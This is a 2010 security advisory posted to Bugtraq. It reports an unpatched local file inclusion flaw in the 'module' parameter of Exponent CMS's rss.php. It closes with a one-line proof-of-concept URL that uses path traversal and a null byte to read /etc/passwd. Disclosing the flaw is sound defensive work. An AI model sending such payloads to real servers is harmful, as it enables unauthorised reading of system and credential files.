LFI in Exponent CMS

From: advisory@htbridge.ch
To: bugtraq@securityfocus.com
Cc:
Subject: LFI in Exponent CMS
Date:


Vulnerability ID: HTB22718
Reference: http://www.htbridge.ch/advisory/lfi_in_exponent_cms_1.html
Product: Exponent CMS
Vendor: http://www.exponentcms.org/ ( http://www.exponentcms.org/ ) 
Vulnerable Version: 2.0.0pr2
Vendor Notification: 22 November 2010 
Vulnerability Type: Local File Inclusion
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/rss.php" script to properly sanitize user-supplied input in module variable.

The following PoC is available:

http://exponent/rss.php?module=../../../../../../../etc/passwd%00







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